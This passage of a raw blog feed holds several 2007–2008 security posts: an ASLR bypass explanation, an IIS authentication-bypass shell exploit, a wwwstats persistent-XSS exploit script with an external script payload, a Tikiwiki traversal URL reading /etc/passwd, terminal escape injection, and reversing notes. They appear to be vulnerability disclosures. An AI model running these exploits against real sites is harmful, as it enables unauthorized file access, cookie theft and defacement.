href='http://jolmos.blogspot.com/feeds/2788790763035124702/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=2788790763035124702' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2788790763035124702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2788790763035124702'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/01/prctl-problems-have-been-solved.html' title='prctl problems have been solved'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-4542056145707335717</id><published>2008-01-06T02:19:00.000+01:00</published><updated>2008-01-09T15:05:46.475+01:00</updated><title type='text'>mmap randomization bypass</title><content type='html'>Todays, people patch their kernels with &lt;a href="http://www.grsecurity.net"&gt;grsecurity&lt;/a&gt; and then is very difficult to exploit his process remotely.&lt;br /&gt;&lt;br /&gt;One of grsecurity protection is mmap() randomization, now, every address allocation will be pseudo randomized. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, we don't know where the shellcode is, we will have to make some things to diverting the execution flow to our code.&lt;br /&gt;&lt;br /&gt;Well we know the local shellcode at environ trick, but it will not usseful with the space layout randomization.&lt;br /&gt;&lt;br /&gt;simkin, a friend of &lt;a href="http://www.badchecksum.net"&gt;badchecksum team&lt;/a&gt;, have seen a way to make relative jumps instead of absolute ones.&lt;br /&gt;&lt;br /&gt;If you overwrite only one byte of the saved eip, really you are overwriting the two &lt;a href="http://en.wikipedia.org/wiki/Least_significant_bit"&gt;lsb&lt;/a&gt; of the address, that means that  you can point to relative code where you know what there are.&lt;br /&gt;&lt;br /&gt;I say two lsb becouse the null byte of final  string will be writed at the second byte when you write the first.&lt;br /&gt;&lt;br /&gt;Then you can use pop pop ret or similar tricks to jump to the shellcode without knowing the address of it.&lt;br /&gt;&lt;br /&gt;Well, in modern kernels we have stack and heap randomization but have some problems, linux-gate, the new sistem call method, is not randomized, we can use this library to find jumppoints.&lt;br /&gt;&lt;br /&gt;jesus@pwn3d:/$ ldd -d /bin/ls&lt;br /&gt;        linux-gate.so.1 =&gt;  (0xffffe000)&lt;br /&gt;        librt.so.1 =&gt; /lib/i686/cmov/librt.so.1 (0xb7f65000)&lt;br /&gt;        libacl.so.1 =&gt; /lib/libacl.so.1 (0xb7f5e000)&lt;br /&gt;        libselinux.so.1 =&gt; /lib/libselinux.so.1 (0xb7f47000)&lt;br /&gt;        libc.so.6 =&gt; /lib/i686/cmov/libc.so.6 (0xb7dfa000)&lt;br /&gt;        libpthread.so.0 =&gt; /lib/i686/cmov/libpthread.so.0 (0xb7de2000)&lt;br /&gt;        /lib/ld-linux.so.2 (0xb7f85000)&lt;br /&gt;        libattr.so.1 =&gt; /lib/libattr.so.1 (0xb7dde000)&lt;br /&gt;        libdl.so.2 =&gt; /lib/i686/cmov/libdl.so.2 (0xb7dda000)&lt;br /&gt;        libsepol.so.1 =&gt; /lib/libsepol.so.1 (0xb7d99000)&lt;br /&gt;jesus@pwn3d:/$ ldd -d /bin/ls&lt;br /&gt;        linux-gate.so.1 =&gt;  (0xffffe000)&lt;br /&gt;        librt.so.1 =&gt; /lib/i686/cmov/librt.so.1 (0xb7fbe000)&lt;br /&gt;        libacl.so.1 =&gt; /lib/libacl.so.1 (0xb7fb7000)&lt;br /&gt;        libselinux.so.1 =&gt; /lib/libselinux.so.1 (0xb7fa0000)&lt;br /&gt;        libc.so.6 =&gt; /lib/i686/cmov/libc.so.6 (0xb7e53000)&lt;br /&gt;        libpthread.so.0 =&gt; /lib/i686/cmov/libpthread.so.0 (0xb7e3b000)&lt;br /&gt;        /lib/ld-linux.so.2 (0xb7fde000)&lt;br /&gt;        libattr.so.1 =&gt; /lib/libattr.so.1 (0xb7e37000)&lt;br /&gt;        libdl.so.2 =&gt; /lib/i686/cmov/libdl.so.2 (0xb7e330&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I know that there are other tecniques in the wild to bypass PAX protections.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-4542056145707335717?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/4542056145707335717/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=4542056145707335717' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/4542056145707335717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/4542056145707335717'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/01/mmap-randomization-bypass.html' title='mmap randomization bypass'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-5263182844432725525</id><published>2007-12-30T12:01:00.002+01:00</published><updated>2008-01-16T19:21:42.129+01:00</updated><title type='text'>Microsoft IIS  ntlm and basic auth bypass</title><content type='html'>You can protect your web contents by adding ntfs acls, then you will be secure. &lt;br /&gt;But you can protect your web contents by the Internet Information basic/ntlm autentication, then this will be bypassed with null.htw object.&lt;br /&gt;&lt;br /&gt;Both authentications seem be the same, but really the object null.htw let users get any file in web directory, only if it is protected by the filesystem, will be secure. &lt;br /&gt;&lt;br /&gt;In the exploit you can see how to use the null.htw object.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;#&lt;br /&gt;# NTLM &amp;&amp; BASIC AUTH BYPASS :)&lt;br /&gt;#&lt;br /&gt;# sha0[at]badchecksum.net&lt;br /&gt;# Based on my adv: http://www.securityfocus.com/bid/24105/info&lt;br /&gt;# (CVE-2007-2815)&lt;br /&gt;&lt;br /&gt;if [ $# != 2 ]&lt;br /&gt;then&lt;br /&gt;        printf "USAGE:\t\t$0 &lt;Site&gt; &lt;Protected Object&gt;\nExample:\t$0 http://www.microsoft.com  /en/us/default.aspx\n\n";&lt;br /&gt;        exit 0&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;site=$1&lt;br /&gt;protectedObject=$2&lt;br /&gt;evil=$site'/shao/null.htw?CiWebhitsfile='$protectedObject'&amp;&lt;br /&gt;CiRestriction=b&amp;CiHiliteType=full'&lt;br /&gt;lynx -dump $evil&lt;br /&gt;&lt;br /&gt;Is hard to believe.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-5263182844432725525?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/5263182844432725525/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=5263182844432725525' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5263182844432725525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5263182844432725525'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/12/microsoft-iis-ntlm-and-basic-auth_7951.html' title='Microsoft IIS  ntlm and basic auth bypass'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-6173380827589503069</id><published>2007-12-27T22:02:00.000+01:00</published><updated>2007-12-28T11:56:58.719+01:00</updated><title type='text'>wwwstats vulnerable to Persistent  XSS</title><content type='html'>wwwstats is a very widely used Web traffic analyser, that registers in a database the user agents, referers, downloads, etc ..&lt;br /&gt;&lt;br /&gt;I discovered a way to inject HTML and JavaScript to the database by calling directly the clickstats.php code. This would mean mass defacing, steal admin sessions, web redirecting, WSS Worms, google-bombing and google-priorizing.&lt;br /&gt;&lt;br /&gt;To bypass the first 'if', is necessary to fill the HTTP Referer field with something, and inject the link to the database by the link get parameter.&lt;br /&gt;&lt;br /&gt;An attacker can inject using the link parameter or the useragent field a script which will steal admin's cookies, or make a deface, or anything else...&lt;br /&gt;&lt;br /&gt;If magic quotes are configured at php.ini, there is no problem, in javascript \'test\' is interpreted as 'test'.&lt;br /&gt;&lt;br /&gt;Controlling the iterations number, is possible to do the injection in the ranking position you want:&lt;br /&gt;&lt;br /&gt;while [ 1 ]; do&lt;br /&gt;curl&lt;br /&gt;'http://web.com/wwwstats/clickstats.php?link=&amp;lt;script&gt;XXXX&amp;lt;/scrip&gt;' -e&lt;br /&gt;'xxx'; done&lt;br /&gt;&lt;br /&gt;Also is possible to attack by user agent:  -A 'attack'&lt;br /&gt;&lt;br /&gt;A payload can be:&lt;br /&gt;&lt;br /&gt;&amp;lt;script scr='http://evilsite.com/XSSWorm.js'&gt;&amp;lt;/script&gt;&lt;br /&gt;&lt;br /&gt;------------Exploit------------&lt;br /&gt;#!/bin/sh&lt;br /&gt;#jolmos (at) isecauditors (dot) com&lt;br /&gt;&lt;br /&gt;if [ $# -ne 4 ]&lt;br /&gt;then&lt;br /&gt;echo "Usage: $0 &lt;target&gt;&lt;br /&gt;&amp;lt;html or javascript to inject in downloads&gt; &lt;ranking position&gt;"&lt;br /&gt;echo "Example: $0 http://www.victym.com/wwwstats&lt;br /&gt;&amp;lt;script&gt;window.location="http://www.evilhost.com"&amp;lt;/script&gt; 100"&lt;br /&gt;exit&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;echo 'Attacking, wait a moment'&lt;br /&gt;for i in `seq 1 $3`; do curl "$1/clickstats.php?link=$2" -e 'attack'; done&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;External links:&lt;br /&gt;http://www.securityfocus.com/bid/26759&lt;br /&gt;http://secunia.com/advisories/28002&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-6173380827589503069?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/6173380827589503069/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=6173380827589503069' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6173380827589503069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6173380827589503069'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/12/wwwstats-vulnerable-to-persisten-cross.html' title='wwwstats vulnerable to Persistent  XSS'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-2642305007926755236</id><published>2007-12-27T10:14:00.000+01:00</published><updated>2007-12-27T21:42:07.384+01:00</updated><title type='text'>Tikiwiki  CMS Trasversal Directory</title><content type='html'>Tikiwiki is a full featured CMS, massively used in the world. &lt;br /&gt;(search on google: tiki-index.php)&lt;br /&gt;&lt;br /&gt;18/12/2007 I was auditing the code and found a dangerous vulnerability, that lets a malicious user get any file in the system via web (with the apache user permissions) &lt;br /&gt;&lt;br /&gt;Mose and the coders quickly solve the problem and release the 1.9.9 version.&lt;br /&gt;Free software is more secure every day thanks to the quick response of the community.&lt;br /&gt;&lt;br /&gt;Exploit explanation:&lt;br /&gt;&lt;br /&gt;http://www.vulnsite.com/tiki-listmovies.php?&lt;br /&gt;movie=../../../../../../etc/passwd&amp;#x0025;001234&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Why this 1234 stuff?&lt;br /&gt;well, the last 4 bytes of movie parameter, are erased, and then an .xml extension was appended.&lt;br /&gt;Then tiki-listmovies will erase the "1234"  and the null byte  will ignore the extension.&lt;br /&gt;&lt;br /&gt;Only is possible get the first 1000 bytes of the file.&lt;br /&gt;&lt;br /&gt;The vulnerable code:&lt;br /&gt;&lt;br /&gt;if(isset($_GET["movie"])) {&lt;br /&gt;  $movie = $_GET["movie"];&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;if ($movie) {&lt;br /&gt;        // Initialize movie size&lt;br /&gt;        $confFile = 'tikimovies/'.substr($movie,0,-4).".xml";&lt;br /&gt;&lt;br /&gt;        //trc('confFile', $confFile);&lt;br /&gt;        $fh = @fopen($confFile,'r');&lt;br /&gt;        $config = @fread($fh, 1000);&lt;br /&gt;        @fclose($fh);&lt;br /&gt;        if (isset($config) &amp;&amp; $config &lt;&gt;'') {&lt;br /&gt;                $width =&lt;br /&gt;preg_replace("/^.*?&lt;MovieWidth&gt;(.*?)&lt;\/MovieWidth&gt;.*$/ms", "$1", $config);&lt;br /&gt;                $height =&lt;br /&gt;preg_replace("/^.*?&lt;MovieHeight&gt;(.*?)&lt;\/MovieHeight&gt;.*$/ms", "$1",&lt;br /&gt;$config);&lt;br /&gt;                $smarty-&gt;assign('movieWidth',$width);&lt;br /&gt;                $smarty-&gt;assign('movieHeight',$height);&lt;br /&gt;        }&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://seclists.org/bugtraq/2007/Dec/0284.html&lt;br /&gt;http://info.tikiwiki.org/tiki-read_article.php?articleId=19&lt;br /&gt;http://www.securityfocus.com/bid/27008/info&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-2642305007926755236?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/2642305007926755236/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=2642305007926755236' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2642305007926755236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2642305007926755236'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/12/tikiwiki-cms-trasversal-directory.html' title='Tikiwiki  CMS Trasversal Directory'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-8992986958397210791</id><published>2007-10-26T11:36:00.000+02:00</published><updated>2007-10-26T13:45:41.683+02:00</updated><title type='text'>Dangerous Bytes</title><content type='html'>Some tty scape bytes can make damage remotelly.&lt;br /&gt;&lt;br /&gt;You can inject this byte to daemon's log, to other's tty   /dev/pts/*, by irc, etc ...  and put colored logs :) or invisible logs, or executing command.&lt;br /&gt;&lt;br /&gt;0x0e Change de view mode and, the victym have to reset the terminal&lt;br /&gt;0x0f Restore the view mode (like reset command)&lt;br /&gt;0x1b Scape byte:&lt;br /&gt;&lt;br /&gt;0x1b,  [c      inject chars to cmd&lt;br /&gt;0x1b,  [r      page up&lt;br /&gt;0x1b,  [u      up&lt;br /&gt;&lt;br /&gt;0x5f close the sequence&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;perl -e 'print "\x1b\x[c"' &gt; /dev/pts/4&lt;br /&gt;&lt;br /&gt;df linux comand is 2 bytes long that are in the hexa charset, &lt;br /&gt;then i'm trying to inject the df conmmand remotelly.&lt;br /&gt;&lt;br /&gt;Apache don't log this files, is not vulnerable, but there are other clients and servers vulnerables.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-8992986958397210791?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/8992986958397210791/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=8992986958397210791' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8992986958397210791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8992986958397210791'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/10/dangerous-bytes.html' title='Dangerous Bytes'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1933415097743740162</id><published>2007-09-24T23:15:00.000+02:00</published><updated>2007-09-26T17:28:15.398+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ptrace'/><category scheme='http://www.blogger.com/atom/ns#' term='denial'/><category scheme='http://www.blogger.com/atom/ns#' term='dos'/><category scheme='http://www.blogger.com/atom/ns#' term='denegacion de servicio'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>CVE-2007-4573 ptrace strikes again ;)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_YDjJDsk93g0/RvhL-Dmi7DI/AAAAAAAAAA8/QmMDKMJmapk/s1600-h/prace_setregs1.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_YDjJDsk93g0/RvhL-Dmi7DI/AAAAAAAAAA8/QmMDKMJmapk/s320/prace_setregs1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5113920906370149426" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The problem discovered by Wojciech Purczynski is:&lt;br /&gt;A 64bit user can say putreg(TIF_IA32) to kernel&lt;br /&gt;and the kernel will enter at the if and do:&lt;br /&gt;&lt;br /&gt;  value &amp;amp;= 0xffffffff;&lt;br /&gt;&lt;br /&gt;ok, lets practice 1100 &amp;amp; 1111 = 1100   The value remain Ok&lt;br /&gt;&lt;br /&gt;What happens if we are in 64bits,  0xffffffff  is actually 0x00000000ffffffff&lt;br /&gt;Well, the beginning of value will be erased :/&lt;br /&gt;&lt;br /&gt;Let see the explotation details.&lt;br /&gt;&lt;br /&gt;#define TIF_IA32    17  /* 32bit process */&lt;br /&gt;&lt;br /&gt;We know the constant value, lets see the sched function:&lt;br /&gt;&lt;br /&gt;static inline int test_tsk_thread_flag&lt;br /&gt;(struct task_struct *tsk, int flag)&lt;br /&gt;{&lt;br /&gt;       return test_ti_thread_flag(task_thread_info(tsk), flag);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static inline int test_ti_thread_flag&lt;br /&gt;(struct thread_info *ti, int flag)&lt;br /&gt;{&lt;br /&gt;       return test_bit(flag,&amp;amp;ti-&gt;flags);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;quite obvious the bypass :)&lt;br /&gt;&lt;br /&gt;Let's see the ptrace call:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When we invoke the PTRACE_SETREGS, we can see that putreg is invoked for each register.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_YDjJDsk93g0/RvhF4Tmi7CI/AAAAAAAAAA0/BeFsoU-Lylk/s1600-h/prace_setregs.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_YDjJDsk93g0/RvhF4Tmi7CI/AAAAAAAAAA0/BeFsoU-Lylk/s320/prace_setregs.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5113914210516134946" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We can do&lt;br /&gt;putreg(child, &amp;lt;register&amp;gt;, &amp;lt;value&amp;gt;);&lt;br /&gt;&lt;br /&gt;by calling&lt;br /&gt;ptrace(PTRACE_SETREGS, &amp;lt;somepid&amp;gt;, NULL, &amp;lt;user_regs_struct&amp;gt;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The key: We can have a 64bits process ptracing a 32bits one, then we can exploit this flaw.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We can erase the registers, is that a potentially priviledge scalation?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally: Don't let the user give us a data we know yet, because the user is a motherfucker.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1933415097743740162?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1933415097743740162/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1933415097743740162' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1933415097743740162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1933415097743740162'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/09/cve-2007-4573-new-ptrace-bug.html' title='CVE-2007-4573 ptrace strikes again ;)'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_YDjJDsk93g0/RvhL-Dmi7DI/AAAAAAAAAA8/QmMDKMJmapk/s72-c/prace_setregs1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-3178513575381287716</id><published>2007-08-23T02:13:00.001+02:00</published><updated>2007-09-25T00:15:23.928+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ingenieria inversa'/><category scheme='http://www.blogger.com/atom/ns#' term='cracking'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><title type='text'>Defeating packers</title><content type='html'>I was reversing packed software,  when I saw an easy way to defeat it: tracing if eip its outside a range.&lt;br /&gt;&lt;br /&gt;When a packer extracts the code to a new maped layout, there is a moment when the execution flow is redirected to this code. We cannot put breakpoints becouse the memory is not maped, and cannot see the jump to the address becouse is like: call [eax+0CFh]&lt;br /&gt;&lt;br /&gt;Is not possible to know wich value will take eax and wich value gets this indirect access to the memory.&lt;br /&gt;&lt;br /&gt;But, there is a very easy way to stop the execution when the call is taken, with a eip range trace.&lt;br /&gt;&lt;br /&gt;If you use olly, press ^T and enter the range of the current module.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_YDjJDsk93g0/RszVx-TKiBI/AAAAAAAAAAs/mj_QhgLy6gw/s1600-h/olly.packers.defeat.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_YDjJDsk93g0/RszVx-TKiBI/AAAAAAAAAAs/mj_QhgLy6gw/s320/olly.packers.defeat.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5101687532417615890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In ancient times, spectrum-hackers cannot do this kind of things  :)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_YDjJDsk93g0/RszUJOTKh_I/AAAAAAAAAAc/dHDLnl0egPU/s1600-h/spectrum-debuger.bmp"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_YDjJDsk93g0/RszUJOTKh_I/AAAAAAAAAAc/dHDLnl0egPU/s320/spectrum-debuger.bmp" border="0" alt=""id="BLOGGER_PHOTO_ID_5101685732826318834" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In linux world, there are not ollydebug like debuggers :( but i think radare will be the future:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://radare.nopcode.org/wiki/"&gt;http://radare.nopcode.org/wiki/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-3178513575381287716?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/3178513575381287716/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=3178513575381287716' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3178513575381287716'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3178513575381287716'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2007/08/defeating-packers.html' title='Defeating packers'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_YDjJDsk93g0/RszVx-TKiBI/AAAAAAAAAAs/mj_QhgLy6gw/s72-c/olly.packers.defeat.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-6057625156356617753</id><published>2007-08-22T22:52:00.000+02:00</published><updated>2007-09-25T00:16:04.093+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='virii'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing'/><title type='text'>PE entry calculation</title><content type='html'>The way to calculate win32 PE entry point offset is similar than linux elf's.&lt;br /&gt;&lt;br /&gt;We have to keep in mind 3 basic concepts:&lt;br /&gt;&lt;br /&gt;RVA -&gt; adress relative to the beginning of de loaded PE at runtime. &lt;br /&gt;(can be relative to something, is like an offset, but often is referred to a running process)&lt;br /&gt;VA -&gt; Is an absolute memory address in the loaded binary at runtime.&lt;br /&gt;offset -&gt; Is a relative address, like RVA but is relative from the beginning of the file.&lt;br /&gt;&lt;br /&gt;Wen a binary is executed, the loader maps some parts and do some relocations, the memory map of the binary at runtime is diferent than the file image. If we map the file, we speak of offsets from the beginnig of the map/file. &lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;Entry RVA:     12475h&lt;br /&gt;PE Imagebase: 100000h&lt;br /&gt;&lt;br /&gt;Ok, when the PE is loaded, the entry is at 112475h, easy :)&lt;br /&gt;but, we have maped the file image, and we wish to know the entry's offset.&lt;br /&gt;&lt;br /&gt;Sections has 3 important values: RVA of the section, Size of the section and offset.&lt;br /&gt;&lt;br /&gt;We know de entry's RVA, we can check with the sections RVA in order to see where is the entry. &lt;br /&gt;&lt;br /&gt;When we get the section RVA, becouse of we hav the sections offset, we can get the Delta between his RVA and offset, if we apply this delta to the RVA we will get the entry's offset, then we have to add the beginning of the map and will have our entry.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;;We have maped the file, and eax is pointing to the beginning of the file.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;entryCalculation:&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov edx, [eax+3Ch] &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;; edx -&gt; RVA of File Header&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;add edx, eax 